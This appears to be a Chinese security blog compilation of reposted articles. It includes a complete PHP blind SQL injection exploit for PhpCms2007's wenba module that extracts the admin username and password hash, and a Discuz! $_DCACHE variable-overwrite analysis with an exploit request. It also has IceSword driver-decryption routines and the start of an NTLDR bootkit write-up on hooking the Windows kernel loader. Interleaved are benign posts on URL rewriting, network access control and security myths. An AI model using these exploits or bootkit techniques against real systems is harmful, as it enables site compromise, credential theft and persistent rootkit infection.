PhpCms2007 sp6 SQL injection 0day (wenba)

早前在phpcms 0day频发的时候写的这个exp,藏着这个exp藏了一个多月吧,也没有拿它去打站,一直丢在我硬盘里,今天看到11期的黑防公布了,于是我也丢出来吧:

复制内容到剪贴板程序代码程序代码
1 print_r(' ——————————————————————————– Phpcms2007 (wenba)blind SQL injection / admin credentials disclosure exploit BY oldjun[S.U.S](http://www.oldjun.com) ——————————————————————————– ');
2 if ($argc<3) {
3 print_r(' ——————————————————————————– Usage: php '.$argv[0].' host path host: target server (ip/hostname),without"http://" path: path to phpcms Example: php '.$argv[0].' localhost / ——————————————————————————– ');
4 die;
5 }
6
7 function sendpacketii($packet)
8 {
9 global $host, $html;
10 $ock=fsockopen(gethostbyname($host),'80');
11 if (!$ock) {
12 echo 'No response from '.$host; die;
13 }
14 fputs($ock,$packet);
15 $html='';
16 while (!feof($ock)) {
17 $html.=fgets($ock);
18 }
19 fclose($ock);
20 }
21
22 $host=$argv[1];
23 $path=$argv[2];
24 $prefix="phpcms_";
25 $cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";
26
27 if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
28 {echo "Error… check the path!\r\n\r\n"; die;}
29
30 /*get $prefix*/
31 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/union/**/select HTTP/1.0\r\n";
32 $packet.="Host: ".$host."\r\n";
33 $packet.="Cookie: ".$cookie."\r\n";
34 $packet.="Connection: Close\r\n\r\n";
35 sendpacketii($packet);
36 //echo $html;
37 if (eregi("in your SQL syntax",$html))
38 {
39 $temp=explode("FROM ",$html);
40 if(isset($temp[1])){$temp2=explode("wenba_answer",$temp[1]);}
41 if($temp2[0])
42 $prefix=$temp2[0];
43 echo "[+]prefix -> ".$prefix."\r\n";
44 }
45 echo "[~]exploting now,plz waiting…\r\n\r\n";
46
47 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=1 HTTP/1.0\r\n";
48 $packet.="Host: ".$host."\r\n";
49 $packet.="Connection: Close\r\n\r\n";
50 sendpacketii($packet);
51 if (eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {echo "Error… There is no data in wenba,please register two users.One asks then the other answers!\r\n\r\n"; die;}
52
53 $chars[0]=0;//null
54 $chars=array_merge($chars,range(48,57)); //numbers
55 $chars=array_merge($chars,range(97,102));//a-f letters
56 $j=1;$password="";
57 while (!strstr($password,chr(0)))
58 {
59 for ($i=0; $i<=255; $i++)
60 {
61 if (in_array($i,$chars))
62 {
63 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(password,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";
64 $packet.="Host: ".$host."\r\n";
65 $packet.="Connection: Close\r\n\r\n";
66 sendpacketii($packet);
67 if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}
68 }
69 if ($i==255) {die("Exploit failed…");}
70 }
71 $j++;
72 }
73
74 $j=1;$username="";
75 while (!strstr($username,chr(0)))
76 {
77 for ($i=0; $i<=255; $i++)
78 {
79 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(username,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";
80 $packet.="Host: ".$host."\r\n";
81 $packet.="Connection: Close\r\n\r\n";
82 sendpacketii($packet);
83 if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$username.=chr($i);echo"[+]username:".$username."\r\n";break;}
84 if ($i==255) {die("Exploit failed…");}
85 }
86 $j++;
87 }
88 print_r(' ——————————————————————————– [+]username -> '.$username.' [+]password(md5 32?) -> '.$password.' ——————————————————————————– ');
89 function is_hash($hash)
90 {
91 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
92 else {return false;}
93 }
94 if (is_hash($password)) {echo "Exploit succeeded…";}
95 else {echo "Exploit failed…";}
96 ?>

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/502

Discuz! $_DCACHE数组变量覆盖漏洞

author: ryat_at_www.wolvez.org
team:http://www.80vul.com

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.

一 分析

/wap/index.php

//43行
$chs = '';
if($_POST && $charset != 'utf-8')
                {
                $chs = new Chinese('UTF-8', $charset);
foreach($_POST
                as
                $key => $value)
                {
                $$key = addslashes(stripslashes($chs->Convert($$key)));
}
            unset($chs);
}

if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post')))
                {
                require_once
                './include/'.$action.'.inc.php';

这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法有一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果 传递进来的参数是一个数组,将会返回FALSE,那么POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为 NULL[再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串]:)

/wap/include/register.inc.php

//124行
require_once DISCUZ_ROOT.'./include/cache.func.php';
$_DCACHE['settings']['totalmembers']++;
$_DCACHE['settings']['lastmember'] = $discuz_userss;
function updatesettings()
                    {
                global
                    $_DCACHE;
if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings']))
                    {
writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
}
                    }
        updatesettings();

这个地方是注册用户后更新缓存数据,再来看看updatesettings()是怎么处理的:

include/cache.func.php

//252行

可以看到这个地方写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过 上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将仅仅只 有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings'] ['lastmember']:)

include/common.inc.php
//95行:
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);

$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
(!empty($_POST['styleid']) ? $_POST['styleid'] :
(!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
$_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
$cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache /cache_settings.php文件中仅仅存在$_DCACHE['settings']['totalmembers'] 和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用,但现 在我们可以随意提交这些变量,这将导致xss,sql注射,命令执行等众多严重的安全问题:)

另外要注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1& inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是我们wap注册时写入的数 据:)

PS:WAP用户注册默认并不开启

二 利用

POST http://127.0.0.1/dz/wap/index.php?action=register HTTP/1.1
Accept: */* Accept-Language: zh-cn Referer: http://127.0.0.1/dz/wap/index.php Content-Type: application/x-www-form-urlencoded User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1 Host: 127.0.0.1 Connection: close Content-Length: 66   username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1   D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php  1, 'lastmember' => 'ryat', );   ?>

<!– Feedsky ad –>

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/503

利用IIS的ISAPI_Rewrite组件实现dvbbs静态化

      早就听说过很多动态论坛可以静态化以提高搜索引擎的抓取率,以前只是粗略的了解过,前几天仔细看看了dvbbs的帮助文件,发现利用IIS的ISAPI_Rewrite组件可以轻松的实现这一功能。

      就到网上下了ISAPI_Rewrite,这里大家要注意,它分两个版本:Lite版和Full版,区别是Lite版只支持整台服务器部署,不能针对服务器上的各个站点单独设置,而Full版则无此限制。 Well, Lite版是完全免费的,而Full是收费的商业版。那就免费的Lite吧,下载安装之后,在安装目录下(默认路径为:"C:\Program Files\Helicon\ISAPI_Rewrite3\Helicon Manager.exe")找到httpd.conf文件,用记事本等文本编辑工具打开,加入dvbbs帮助中要求添加的代码,如下:

复制内容到剪贴板程序代码程序代码
# 重写index.asp
RewriteRule /index_(\d+)_(\d*)_(.*)_(\d*)\.html /index\.asp\?boardid=$1&topicmode=$2&list_type=$3&page=$4 [N,I]
RewriteRule /index_(\d+)_(.*)_(\d*)_(.*)_(\d*)\.html /index\.asp\?boardid=$1&action=$2&topicmode=$3&list_type=$4&page=$5 [N,I]
RewriteRule /index_(\d+)_(.*)_(\d*)_(\d*)\.html /index\.asp\?boardid=$1&action=$2&topicmode=$3&page=$4 [N,I]
RewriteRule /index_(\d+)_(\d*)_(.*)\.html /index\.asp\?boardid=$1&page=$2&action=$3 [N,I]
RewriteRule /index_(\d+)_(\d*)\.html /index\.asp\?boardid=$1&topicmode=$2 [N,I]
RewriteRule /index_(\d+)_(\d*)_\.html /index\.asp\?boardid=$1&page=$2 [N,I]
# RewriteRule /index_(\d+)__\.html /index\.asp\?boardid=$1 [N,I]
RewriteRule /index_(\d+)\.html /index\.asp\?boardid=$1 [N,I]
RewriteRule /index\.html(.*) /index.asp [N,I]
# 重写dispbbs.asp
RewriteRule /dispbbs_(\d+)_(\d*)_(\d*)_skin(\d*)_(\d*)_(\d*)\.html /dispbbs\.asp\?boardid=$1&replyid=$2&id=$3&skin=$4&page=$5&star=$6 [N,I]
RewriteRule /dispbbs_(\d+)_(\d*)_(\d*)_skin(\d*)_(\d*)\.html /dispbbs\.asp\?boardid=$1&replyid=$2&id=$3&skin=$4&star=$5 [N,I]
RewriteRule /dispbbs_(\d+)_(\d*)_(\d*)_skin(\d*)\.html /dispbbs.asp\?boardID=$1&replyid=$2&ID=$3&skin=$4 [N,I]
RewriteRule /dispbbs_(\d+)_(\d*)_(\d*)_(\d*)\.html /dispbbs.asp\?boardID=$1&ID=$2&page=$3&star=$4 [N,I]
RewriteRule /dispbbs_(\d+)_(\d*)_(\d*)_(\w+)\.html /dispbbs.asp\?boardID=$1&ID=$2&page=$3&move=$4 [N,I]
RewriteRule /dispbbs_(\d+)_(\d*)_(\d*)\.html /dispbbs.asp\?boardID=$1&ID=$2&page=$3 [N,I]
RewriteRule /dispbbs_(\d+)_(\d*)\.html /dispbbs.asp\?boardID=$1&ID=$2 [N,I]
# 重写dv_rss.asp
RewriteRule /dv_rss_(.*)_(\d+)_(\d+)_(\d+)_(\d+)_count(\d+)\.html /dv_rss.asp\?s=$1&boardid=$2&id=$3&page=$4&star=$5&count=$6 [N,I]
RewriteRule /dv_rss_(.*)_(\d+)_(\d+)_(\d+)_(\d+)\.html /dv_rss.asp\?s=$1&boardid=$2&id=$3&page=$4&star=$5 [N,I]
RewriteRule /dv_rss_(.*)_(\d+)_(\d+)_(\d+)\.html /dv_rss.asp\?s=$1&boardid=$2&id=$3&page=$4 [N,I]
RewriteRule /dv_rss_(.*)_(\d+)_(\d+)_count(\d+)\.html /dv_rss.asp\?s=$1&boardid=$2&page=$3&count=$4 [N,I]
RewriteRule /dv_rss_(.*)_(\d+)_(\d+)\.html /dv_rss.asp\?s=$1&boardid=$2&page=S3 [N,I]
RewriteRule /dv_rss_(.*)_(\d+)\.html /dv_rss.asp\?s=$1&boardid=$2 [N,I]
RewriteRule /dv_rss_(.*)\.html /dv_rss.asp\?s=$1 [N,I]
RewriteRule /dv_rss(.*)\.html(.*) /dv_rss.asp [N,I]

      保存, 接着打开IIS,依次展开计算机名(本地计算机)/网站/默认网站,右键-属性-ISAPI筛选器-“添加…“,名称自己取,可执行文件浏览至上面ISAPI的安装目录,选中"ISAPI_Rewrite.dll”,确定。 再返回dvbbs目录下的conn.asp修改“IsUrlreWrite”的值为1,开启论坛伪静态,保存。
      至此,大功告成,再回到本地看一下自己的论坛,首页已经变成index.html了,各板块和文章也已经成了静态化的网页。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/504

到底谁需要网络访问控制 (NAC)?

网络访问控制(NAC)成为大多数公司网络架构的标准组成部分之前,仍有很长一段路要走,不过增长迹象已出现在面前:据Infonetics研究公司声称,到2010年,预计厂商的NAC执行设备销售额将达到6.29亿美元。

那么,到底谁需要NAC呢?

简单的回答就是,如果你希望在一台机器获准连接到网络之前,检查机器是否通过配置健康测试;如果你希望机器获准访问之后如果违反了策略,能够限制访问权,那么就需要NAC。

通过健康测试并不意味着机器没有染上可能给网络带来危害的病毒,不过这有助于减少机器造成麻烦的机会。

到目前为止,大学和医疗机构比其他行业的组织更加积极采用NAC,这是由于它们都拥有庞大的用户在使用连接、断开、再连接到网络的移动设备。NAC有助于提供一些保证:这些设备在与网络断开时,保持可靠的状态。

NAC的主要任务就是决定允许哪些主机连接到网络,并且留在网络上。做出这些决定的标准有很大不同:从介质访问控制(MAC)地址在白名单上,到通过查找诸多参数的健康检查。这些参数包括诸如此类的因素:反病毒软件经过更新,而且在运行打上补丁的操作系统;所需的注册表设置;以及合理配置的个人,等等。

这些标准还可以包括某个设备是否仍处于健康状态;一旦获准接入网络,其行为是否得当。

人们希望这种准入控制可以防止安全可能受到危及的机器利用恶意软件感染网络、阻止窃取数据。访客和顾问们连接到网络上的移动设备及其他设备就是可能会带来安全威胁的几种机器。密西西比西北社区学院(Northwest Mississippi Community College)在安装NAC设备之前,每个学年的头两周都要用于清理学生使用的电脑;而自从有了NAC设备,这个过程实现了自动化。Chuck Adams是这家社区学院设在密西西比州塞纳托比亚的主校园的网络管理员,他说,如今,由于为六名全IT员工和学生教工腾出了这段时间,Mirage Networks公司的NAC设备只用一个学期就基本上收回了成本。

Adams说:“我们希望不用去清理学生的PC。我们还没有完全实现这一目标,不过现在几乎就要实现了。”

巴尔的摩默西医疗中心的IT主管Mark Rein说,在采用NAC之前,潜在客户要明确定义需要什么样的限制、健康的主机要具备哪些要素。Rein说:“你必须确定自己试图要保护什么,确定可能需要建立哪些不同网段。”这意味着要为NAC设备制订所要执行的策略。他说:“策略涉及你需要知道的方面和你不想看到的方面。”

Nemertes研究公司的高级副总裁Andreas Antonopoulos说,实际上,许多公司并没有在非常积极地部署NAC。

据今年年初他对IT主管们开展的一项调查显示,能够连接到专用虚拟网(VPN)是NAC为大多数远程主机扮演的惟一角色;几乎没有哪家公司对局域网端口实行访问控制。他说,只有大约14%的调查对象实行了端点检查,检查应用程序和操作系统的补丁;是否安装了、反病毒或者反间谍软件等软件;USB连接的设备以及口令强度。

  不过他说,近60%的人希望自己至少能够检查是否安装了防火墙、反病毒和反间谍软件等工具。他说,大约40%的人还希望对口信和和操作系统进行检查。不到三分之一的人希望检查应用程序是否得到了更新。思科公司推出了思科网络准入控制(CNAC)架构,而可信计算组织(TCG)正在竭力制订开放标准,以便任何一家NAC厂商都能遵守。
  
今年早些时候,微软公司发布了自己的。其网络访问保护(NAP)代理可以使用该,把有关端点状况的数据从端点传送到NAC策略,而策略负责决定设备是否得到访问权、得到多大的访问权。今年早些时候,Juniper公司在互操作性大会上公开演示了这种兼容性;虽然该公司最近为采用其NAC架构(Juniper称之为统一访问控制,UAC)的设备发布了最新版本的软件,但该软件并不包含这种兼容性。就连参与微软NAP计划的合作伙伴也没有匆忙参与进来。

Current Analysis公司的分析师Andrew Braunberg说:“在我看来,NAP还远未出现,以至我并没有每天在想它。”他每年都会开展NAC需求方面的调查;今年的结果显示,大多数客户也没有每天在想NAP。他说:“人们可没有兴趣等待NAP。”

他的调查结果就是,由于微软一再推迟发布部署NAP的必要组件,结果NAP受到了拖累。Braunberg表示,自上一年的NAC企业需求调查开始以来,愿意等微软交付NAP的调查对象的百分比出现了下降;愿意等明年初微软发布NAP后再部署的调查对象为数不多。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/505

不要被假象迷惑 网络安全的七大误解

  许多人对于自己的数据和网络目前有一种虚假的感;在边界安装了、在桌面上安装了防病毒和防间谍软件工具、使用加密技术发送和保存数据;此外,微软及各大公司不断增强安全工具和补丁程序……似乎可以松口气了,但果真如此吗?

  以下是有关安全的七大误解,不妨看看你的数据是否有你想象中的那么安全。

  误解一、加密确保了数据得到保护

  对数据进行加密是保护数据的一个重要环节,但不是绝无差错。Jon orbeton是开发ZoneAlarm软件的Zone Labs的高级安全研究员,他支持加密技术,不过警告说:如今黑客采用嗅探器可是越来越完善,能够截获SSL和SSL交易信号,窃取经过加密的数据。虽然加密有助于保护遭到窃取的数据被人读取,但加密标准却存在着几个漏洞。黑客只要拥有适当工具,就能够钻这些漏洞的空子。Orbeton说:“黑客在想方设法避开安全机制。”

  误解二、防火墙会让系统固若金汤

  SteveThornburg是开发半导体联网解决方案的Mindspeed科技公司的工程师,他说:“许多人说:‘我们装有防火墙。’但防火墙功能再好,经过它们的IP数据痕迹照样能够被读取。”黑客只要跟踪内含系统网络地址的IP痕迹,就能了解及与它们相连的计算机的详细信息,然后利用这些信息钻网络漏洞的空子。

  如此看来,仅有防火墙和加密显然不够。网络管理员不仅要确保自己运行的软件版本最新、最安全,还要时时关注操作系统的漏洞报告,时时密切关注网络,寻找可疑活动的迹象。此外,他们还要对使用网络的最终用户给出明确的指导,劝他们不要安装没有经过测试的新软件,打开电子邮件的可执行附件,访问文件共享站点、运行对等软件,配置自己的远程访问程序和不安全的无线接入点,等等。

  Thornburg说,问题在于,愿意投入财力和人力来保持安全的公司寥寥无几。他说:“它们知道这么做不会受欢迎,因为这会降低工作效率。成本是主要的问题,因为这些公司都关注成本底线。”

  误解三、黑客不理睬老的软件

  一些人认为,如果运行老的系统,就不会成为黑客的攻击目标,因为黑客只盯住使用较为广泛的软件,而这些软件的版本要比我们自己正在用的来得新。

  事实并非如此,Johannes Ullrich说。他是安全分析和预警服务机构——SANS因特网风暴中心的首席技术官,这家机构负责发布有关安全漏洞和错误的警告。他提醒,对黑客来说,最近没有更新或者没有打上补丁的Web是一个常见的攻击点。“许多旧版本的Apache和IIS(因特网信息服务器)会遭到缓冲器溢出攻击。”

  如果空间处理不了太多信息,就会出现溢出,从而会发生缓冲器溢出问题。额外信息总会溢出到某个地方,这样黑客就可以利用系统的漏洞,让额外信息进入本不该进入的地方。虽然微软和Apache.org在几年前都发布了解决缓冲器溢出问题的补丁,但还有许多旧系统没打上补丁。

  误解四、Mac机很安全

  许多人还认为,自己的Mac系统跟老系统一样,也不容易遭到黑客的攻击。但是,许多Mac机运行微软Office等程序,或者与机器联网。这样一来,Mac机同样难免遇到Windows用户面临的漏洞。正如安全专家Cigital公司的CTO Gary McGraw所说:出现针对Win32和OS X的跨平台病毒“只是迟早的事”。

  Mac OS X环境也容易受到攻击,即便不是在运行Windows软件。赛门铁克公司最近发布的一份报告发现,2004年查明Mac OS X存在37种漏洞。该公司警告,这类漏洞可能会日渐成为黑客的目标,特别是因为Mac系统开始日渐流行。譬如在2004年10月,黑客编写了名为Opener的一款脚本病毒。该脚本可以让Mac OS X防火墙失效、获取个人信息和口令、开后门以便可以远程控制Mac机,此外还可能会删除数据。

  误解五、安全工具和软件补丁让每个人更安全

  有些工具可以让黑客对微软通过其Windows Update服务发布的补丁进行“逆向工程”(reverse-engineer)。通过比较补丁出现的变化,黑客就能摸清补丁是如何解决某个漏洞的,然后查明怎样利用补丁。

  Marty Lindner是卡内基梅隆大学软件工程研究所计算机紧急响应小组协调中心的事件处理小组负责人,他说:“如今开发的新工具都围绕同一个基本主题:扫描寻找漏洞。对因特网进行扫描,详细列出易受攻击的机器。所开发的工具假定每台机器都容易遭到某个漏洞的攻击,然后只需运行工具就是了。每个系统都有漏洞;没有什么是百分之百安全的。”

  黑客普遍使用的工具当中就有Google,它能够搜索并找到诸多网站的漏洞,譬如默认状态下的服务器登录页面。有人利用Google寻找不安全的网络摄像头、网络漏洞评估报告、口令、信用卡账户及其他敏感信息。Santy蠕虫和MyDoom的新变种最近就利用了Google的黑客功能(Google hacking)。甚至已经开始涌现出了Johnny.IHackStuff.com这样的网站,它们提供链接到介绍越来越多的Google黑客手法的地方。

  今年早些时候,McAfee公司发布了SiteDigger 2.0工具的更新版,它有一些新特性,譬如可以查明某个站点是不是容易受到Google黑客攻击。虽然这款工具的目的是供管理员测试各自的网络,但黑客也有可能利用该软件寻找任何站点存在的漏洞。

  误解六、只要企业网络的安全没有被突破,黑客就奈何不了你

  有些IT部门拼命防护企业网络,却不料因为用户把公司的便携式电脑接到家里或者Wi-Fi热点地区等未受保护的网络连接,结果企业网安全遭到危及。黑客甚至可以在热点地区附近未授权的Wi-Fi接入点,诱骗用户登录到网络。一旦恶意用户控制了某台计算机,就可以植入击键记录程序,窃取企业VPN软件的口令,然后利用窃取的口令随意访问网络。

  有时候,单单恐吓要搞破坏也会迫使公司就范,黑客甚至扬言要破坏网站、删除重要文件,或者把幼儿色情图片放到公司计算机上,从而对受害者进行敲诈。这已有过先例,据说,因黑客扬言要发动拒绝服务攻击敲诈钱财

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/506

ICESWORD各版本驱动通讯解密代码

icesword同驱动通讯时会将input buffer加密,下面是各版本的解密代码:

包括1.2, 1.18 , 1.2版本的中英文版本

复制内容到剪贴板程序代码程序代码
unsigned char is_ddata_en[32] = {
0x10, 0x4F, 0xAC, 0x2D, 0x94, 0x97, 0x95, 0xEE, 0x93, 0x25, 0x8A, 0xB6, 0xD6, 0xBE, 0x49, 0x4D,
0x3F, 0x94, 0x1A, 0x91, 0x30, 0xC4, 0x7B, 0x08, 0x59, 0x38, 0x7C, 0x3B, 0x52, 0x40, 0xD2, 0xD2
};

unsigned char is_ddata_cn[32] = {
0x7D, 0x83, 0xBE, 0x27, 0x94, 0x97, 0x95, 0xFE, 0x9C, 0x25, 0x8A, 0xB6, 0xD6, 0xBE, 0x49, 0xA3,
0x3F, 0x94, 0x1A, 0x91, 0x30, 0xC4, 0x7B, 0xC8, 0x59, 0x38, 0x7C, 0x3B, 0x52, 0x05, 0xD2, 0xD2
};

unsigned char is120_en_ddata[32] = {
0x58, 0x4F, 0x8C, 0x2D, 0x94, 0x97, 0xC5, 0xEE, 0xFF, 0x25, 0x8A, 0xB6, 0xD6, 0xBF, 0x49, 0xF3,
0x3F, 0x94, 0x1A, 0x91, 0xEF, 0xB4, 0x4C, 0x08, 0x59, 0x30, 0x62, 0x3B, 0x52, 0x40, 0x8F, 0xD2
};

unsigned char is118_cn_ddata[32] = {
0x72, 0x14, 0x8C, 0xFA, 0x94, 0x32, 0xE4, 0xFF, 0x25, 0xD3, 0xEF, 0x13, 0x29, 0xBF, 0x49, 0x15,
0xB4, 0x94, 0xA4, 0x23, 0xEF, 0x04, 0xA3, 0x98, 0x95, 0x30, 0x62, 0x00, 0x37, 0x40, 0x8F, 0xFE
};

void decoder120_is_data_en(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is120_en_ddata[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

void decoder118_is_data_cn(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is118_cn_ddata[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

void decoder_is_data_en(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is_ddata_en[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

void decoder_is_data_cn(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is_ddata_cn[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/507

一种基于NTLDR的BOOTKIT──原理及实现

Author: inghu

EMail: jack.xlt@gmail.com

Site: http://hi.baidu.com/inghu

Date: 2008-11-1

前言:XCON2008将于不日召开,其间国内外安全界之高手将云集席间,共享中国安全界这一盛会。吾自学计算机以来从网络受益颇多,或换言之,若 无网络 便无今日我对计算机知识的了解。吾近来研究NTLDR的结构和功能略有所得便随手做了个基于NTLDR的BOOTKIT,正想写篇相关文章回馈互联网,也 正如安全焦点的LOGO所说"From the Internet, For the Internet",而恰好这时又侧耳听闻MJ0011将在此次XCON上发布它的高级Bootkit Tophet.A,吾虽对Tophet略有耳闻,但未睹其真面目,这次吾对Tophet也是翘首以待,在一睹Tophet真身以前,吾发现很少有相关 BOOTKIT的文章,也未见任何源代码,便决心写下这篇文章,一为回馈滋养了我多年的网络;二也为这次XCON的召开推波助澜。

一.简介

二.NTLDR的HOOK

三.内核的加载与定位

四.对内核做HOOK

五.在内存里搭个狗窝

六.把自己挂上去

七.源代码

八.尾声

一.简介

先简要介绍一下我这个BOOTKIT吧,我这个BOOTKIT是基于NTLDR的文件型BOOTKIT,NTLDR是winNT系列内核的 Osloader,当开机以后BIOS载入MBR,MBR载入DBR,然后DBR载入NTLDR,并将执行权转交给它,它再来启动内核。所以NTLDR是 最接近内核的,而且对它做HOOK,可以避免编写针对各种类型外设的代码,提高通用性。总的来说,我的BOOTKIT有以下几个特点:

1.ring3下就可完成hook(改写NTLDR)

2.注入内核的代码没有内存大小限制,也无需自己读入代码

3.BOOTDRIVER驱动初始化时加载(依情况而定,也可hook内核其它地方)

4.理论上可以hook各种版本ntldr

5.理论上可以引导各个版本nt内核和内存相关boot.ini参数(嗯,你的内核得能用ntldr启动才行)

暂时没有对PAE内核,x64和内存相关BOOT.INI参数提供支持。我的调试环境是Bochs、Vmware、Windbg、Win2000 sp4、WinXp sp2、Win2003 sp1。汇编工具是C32ASM。本文牵涉到Windows x86的段页式内存管理、Windows地址空间布局结构、PE文件结构和汇编的知识,本人在写作本文时假设您已经了解了这些知识。

二.NTLDR的HOOK:

要做NTLDR的BOOTKIT,当然,我们首先面临的问题就是如何对NTLDR做HOOK?要对NTLDR做HOOK,那就首先要对 NTLDR的文件结构有所理解才行。我大致说一下它的结构和功能,NTLDR是由两部分构成,一部分是被称作Su Module(Startup)的16位汇编代码,另一部分则是名为Osloader的PE文件。Su module位于NTLDR的头部,Osloader紧随其后。DBR将NTLDR加载到物理地址2000:0000开始的地方,然后跳转到这个地址,将 控制权交给NTLDR进行引导,而这个地址也就是Su的入口。Su的主要功能是为Osloader准备内存环境,包括GDT、IDT、打开保护模式(未分 页)和将Osloader按编译时的虚拟地址移动Osloader等等。在MP(多处理器)版本的NTLDR中,Su还有一件事情要做,就是检测 Osloader的完整性,如果它检测到NTLDR被修改,那么,嘿嘿,这句话送给你“NTLDR is corrupt.The system cannot boot.”为了兼容windows 2003,我的DEMO就是用这种版本的NTLDR做的,由于我太懒,就没有研究这部分了,我绕过它的办法就是把它切了——我用没有校验的Su替换了它 ——我是不是很黄很暴力?嗯,我想是有那么点!

再讲讲Osloader,它的作用比较复杂,说的简单点就是为内核准备执行环境,然Osloader会根据boot.ini的设置将 windows内核、hal.dll和其它Boot Driver加载进内存。有关NTLDR更详细的结构和功能,请读者参看有关资料。

了解了NTLDR的大致结构和功能。好,接着我们来看一下我们HOOK NTLDR所存在的问题?首先就是该在哪下手,理论上你可以在任何一个地方下手(废话),但是接下来你该跳转到哪里呢?茫茫内存,我该如何走啊,我又在人 生的道路上迷路了。。。靠!所以先要选个老巢,执行HOOK CODE之后,才能让CPU有个地方可以去。我选择将CODE放在Osloader里,没错,Su会按SECTION的地址重定位Osloader,这样 我们就可以很轻松地定位我们CODE的地址。我的做法就是直接用工具在Osloader里新建了一个节,将所有XX都放在了里面。兜了个圈子,我们回来, 我们到底要在哪下手呢?因为我们的根本目的是要HOOK内核,所以执行我们CODE的时候,内核要已经被加载进了内存。那我们怎么知道在哪内核已经被加载 进了内存呢?根据我对NTLDR的分析,在将控制权转给内核之前,Osloader会调用这个函数──BlSetupForNt,这个函数的会最后做些设 置的收尾工作,包括剪裁页表。有个函数有个P用啊?要定位它的位置啊!嗯,所以我在这个函数里面找到了这个特征码:

mov eax, cr3

mov cr3, eax (机器码:“0F 20 D8 0F 22 D8” )

这段代码是用来flush TLB的。这段代码在我能找到的NTLDR里都出现过了,眼看就可以下手了吧,我很遗憾的告诉你,我不只在一处找到了这串特征码,并且有在内核加载之前调 用的也有在内核加载之后调用的。为了顺利HOOK内核,所以我在CODE里加了保护性代码,通过这段代码你几乎可以在任何完整指令处进行HOOK。你可以 下很多HOOK,不过得有一个是在内核加载之后执行的。利用这段特征串能比较方面的找到HOOK点。

